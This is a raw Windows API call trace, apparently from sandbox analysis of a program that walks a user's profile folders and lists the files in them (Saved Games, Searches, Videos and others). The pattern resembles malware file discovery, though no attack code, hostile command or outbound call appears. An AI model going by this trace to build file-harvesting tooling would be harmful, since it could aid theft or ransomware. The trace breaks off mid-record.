lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.512] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.512] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.512] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0266.513] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.513] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.513] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.513] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.513] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0266.513] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.513] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.513] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.513] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.513] PathFindFileNameW (pszPath="") returned="" [0266.513] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.513] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.513] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.513] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.513] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0266.513] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0266.513] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0266.514] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.514] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.514] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0266.514] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.514] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.514] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.514] PathFindFileNameW (pszPath="") returned="" [0266.514] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0266.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.514] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.514] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0266.514] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.514] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.515] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.515] PathFindFileNameW (pszPath="") returned="" [0266.515] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0266.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.515] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.515] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0266.515] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.515] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.515] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.515] PathFindFileNameW (pszPath="") returned="" [0266.515] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0266.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.515] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.516] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0266.516] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.516] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.516] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.516] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.516] PathFindFileNameW (pszPath="") returned="" [0266.516] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc451bac0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc451bac0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.516] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.516] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc451bac0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc451bac0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29355f30, ftCreationTime.dwHighDateTime=0x1d4ce31, ftLastAccessTime.dwLowDateTime=0x543fcf70, ftLastAccessTime.dwHighDateTime=0x1d4c70c, ftLastWriteTime.dwLowDateTime=0x543fcf70, ftLastWriteTime.dwHighDateTime=0x1d4c70c, nFileSizeHigh=0x0, nFileSizeLow=0xc53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-cTwhDb_kz0NM.mkv", cAlternateFileName="-CTWHD~1.MKV")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4036360, ftCreationTime.dwHighDateTime=0x1d4d583, ftLastAccessTime.dwLowDateTime=0xeaa71f70, ftLastAccessTime.dwHighDateTime=0x1d4c5c4, ftLastWriteTime.dwLowDateTime=0xeaa71f70, ftLastWriteTime.dwHighDateTime=0x1d4c5c4, nFileSizeHigh=0x0, nFileSizeLow=0x16474, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-odfzMtVfgsa IL.swf", cAlternateFileName="-ODFZM~1.SWF")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f29d9e0, ftCreationTime.dwHighDateTime=0x1d4cb95, ftLastAccessTime.dwLowDateTime=0xbdb17a90, ftLastAccessTime.dwHighDateTime=0x1d4d4f8, ftLastWriteTime.dwLowDateTime=0xbdb17a90, ftLastWriteTime.dwHighDateTime=0x1d4d4f8, nFileSizeHigh=0x0, nFileSizeLow=0x167fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1wkpap.mkv", cAlternateFileName="")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1684f0, ftCreationTime.dwHighDateTime=0x1d4d519, ftLastAccessTime.dwLowDateTime=0xaa2e07c0, ftLastAccessTime.dwHighDateTime=0x1d4cf00, ftLastWriteTime.dwLowDateTime=0xaa2e07c0, ftLastWriteTime.dwHighDateTime=0x1d4cf00, nFileSizeHigh=0x0, nFileSizeLow=0xe675, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4wuSJ8EnkH3MW.swf", cAlternateFileName="4WUSJ8~1.SWF")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69938d0, ftCreationTime.dwHighDateTime=0x1d4d01f, ftLastAccessTime.dwLowDateTime=0x95657520, ftLastAccessTime.dwHighDateTime=0x1d4c8e4, ftLastWriteTime.dwLowDateTime=0x95657520, ftLastWriteTime.dwHighDateTime=0x1d4c8e4, nFileSizeHigh=0x0, nFileSizeLow=0x53ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8caLHfAk0PaW.avi", cAlternateFileName="8CALHF~1.AVI")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d26250, ftCreationTime.dwHighDateTime=0x1d4ce30, ftLastAccessTime.dwLowDateTime=0x8157e70, ftLastAccessTime.dwHighDateTime=0x1d4d250, ftLastWriteTime.dwLowDateTime=0x8157e70, ftLastWriteTime.dwHighDateTime=0x1d4d250, nFileSizeHigh=0x0, nFileSizeLow=0x18dea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8rejvdNsx1W.flv", cAlternateFileName="8REJVD~1.FLV")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1b92750, ftCreationTime.dwHighDateTime=0x1d4cdf2, ftLastAccessTime.dwLowDateTime=0xa123720, ftLastAccessTime.dwHighDateTime=0x1d4cc21, ftLastWriteTime.dwLowDateTime=0xa123720, ftLastWriteTime.dwHighDateTime=0x1d4cc21, nFileSizeHigh=0x0, nFileSizeLow=0xe0c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="90ZHyHwir.mp4", cAlternateFileName="90ZHYH~1.MP4")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dd96f0, ftCreationTime.dwHighDateTime=0x1d4cf8b, ftLastAccessTime.dwLowDateTime=0xb22f6cd0, ftLastAccessTime.dwHighDateTime=0x1d4c784, ftLastWriteTime.dwLowDateTime=0xb22f6cd0, ftLastWriteTime.dwHighDateTime=0x1d4c784, nFileSizeHigh=0x0, nFileSizeLow=0x66fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AklgegIwErKzeM3EnB.mkv", cAlternateFileName="AKLGEG~1.MKV")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83ee8610, ftCreationTime.dwHighDateTime=0x1d4d190, ftLastAccessTime.dwLowDateTime=0x893730c0, ftLastAccessTime.dwHighDateTime=0x1d4c7c4, ftLastWriteTime.dwLowDateTime=0x893730c0, ftLastWriteTime.dwHighDateTime=0x1d4c7c4, nFileSizeHigh=0x0, nFileSizeLow=0xd9c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AKzil.avi", cAlternateFileName="")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbdae00, ftCreationTime.dwHighDateTime=0x1d4d296, ftLastAccessTime.dwLowDateTime=0x34a1f760, ftLastAccessTime.dwHighDateTime=0x1d4ce37, ftLastWriteTime.dwLowDateTime=0x34a1f760, ftLastWriteTime.dwHighDateTime=0x1d4ce37, nFileSizeHigh=0x0, nFileSizeLow=0x12e0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aY2-M1hNNjjWY.flv", cAlternateFileName="AY2-M1~1.FLV")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de63140, ftCreationTime.dwHighDateTime=0x1d4cfeb, ftLastAccessTime.dwLowDateTime=0x9a3afc50, ftLastAccessTime.dwHighDateTime=0x1d4c713, ftLastWriteTime.dwLowDateTime=0x9a3afc50, ftLastWriteTime.dwHighDateTime=0x1d4c713, nFileSizeHigh=0x0, nFileSizeLow=0xc3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BqAvk1V3qDn9l.swf", cAlternateFileName="BQAVK1~1.SWF")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdb78d0, ftCreationTime.dwHighDateTime=0x1d4cf43, ftLastAccessTime.dwLowDateTime=0x3a489220, ftLastAccessTime.dwHighDateTime=0x1d4ccd2, ftLastWriteTime.dwLowDateTime=0x3a489220, ftLastWriteTime.dwHighDateTime=0x1d4ccd2, nFileSizeHigh=0x0, nFileSizeLow=0xc4f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bZE6e7_.mkv", cAlternateFileName="")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a6eaae0, ftCreationTime.dwHighDateTime=0x1d4ccc3, ftLastAccessTime.dwLowDateTime=0x2db9e270, ftLastAccessTime.dwHighDateTime=0x1d4d56f, ftLastWriteTime.dwLowDateTime=0x2db9e270, ftLastWriteTime.dwHighDateTime=0x1d4d56f, nFileSizeHigh=0x0, nFileSizeLow=0xd67d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DJt2bijl-Kw7JEUBg.mkv", cAlternateFileName="DJT2BI~1.MKV")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdc0fa0, ftCreationTime.dwHighDateTime=0x1d4c8a1, ftLastAccessTime.dwLowDateTime=0xacfdd540, ftLastAccessTime.dwHighDateTime=0x1d4cd6e, ftLastWriteTime.dwLowDateTime=0xacfdd540, ftLastWriteTime.dwHighDateTime=0x1d4cd6e, nFileSizeHigh=0x0, nFileSizeLow=0x1520e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hAf_3U-gHvce4wcnQA_w.mkv", cAlternateFileName="HAF_3U~1.MKV")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fc8f5a0, ftCreationTime.dwHighDateTime=0x1d4c5c6, ftLastAccessTime.dwLowDateTime=0xacda7f70, ftLastAccessTime.dwHighDateTime=0x1d4c934, ftLastWriteTime.dwLowDateTime=0xacda7f70, ftLastWriteTime.dwHighDateTime=0x1d4c934, nFileSizeHigh=0x0, nFileSizeLow=0xb66f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HlD5zrxsdUc1Y3OP7nh.mp4", cAlternateFileName="HLD5ZR~1.MP4")) returned 1 [0266.517] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e45ca0, ftCreationTime.dwHighDateTime=0x1d4cae8, ftLastAccessTime.dwLowDateTime=0x16e13450, ftLastAccessTime.dwHighDateTime=0x1d4d410, ftLastWriteTime.dwLowDateTime=0x16e13450, ftLastWriteTime.dwHighDateTime=0x1d4d410, nFileSizeHigh=0x0, nFileSizeLow=0x138a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="isz2C.swf", cAlternateFileName="")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59998f0, ftCreationTime.dwHighDateTime=0x1d4c740, ftLastAccessTime.dwLowDateTime=0x1db898c0, ftLastAccessTime.dwHighDateTime=0x1d4ce8b, ftLastWriteTime.dwLowDateTime=0x1db898c0, ftLastWriteTime.dwHighDateTime=0x1d4ce8b, nFileSizeHigh=0x0, nFileSizeLow=0x95b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J6vHB4Uh4HDmN.swf", cAlternateFileName="J6VHB4~1.SWF")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdba850, ftCreationTime.dwHighDateTime=0x1d4d580, ftLastAccessTime.dwLowDateTime=0xdbc79bc0, ftLastAccessTime.dwHighDateTime=0x1d4c72b, ftLastWriteTime.dwLowDateTime=0xdbc79bc0, ftLastWriteTime.dwHighDateTime=0x1d4c72b, nFileSizeHigh=0x0, nFileSizeLow=0x7f71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KEVeaf.avi", cAlternateFileName="")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b82920, ftCreationTime.dwHighDateTime=0x1d4d0ef, ftLastAccessTime.dwLowDateTime=0xffb279b0, ftLastAccessTime.dwHighDateTime=0x1d4c96a, ftLastWriteTime.dwLowDateTime=0xffb279b0, ftLastWriteTime.dwHighDateTime=0x1d4c96a, nFileSizeHigh=0x0, nFileSizeLow=0x10239, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kUiTedID_arfjfDWv.swf", cAlternateFileName="KUITED~1.SWF")) returned 1 [0266.518] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: 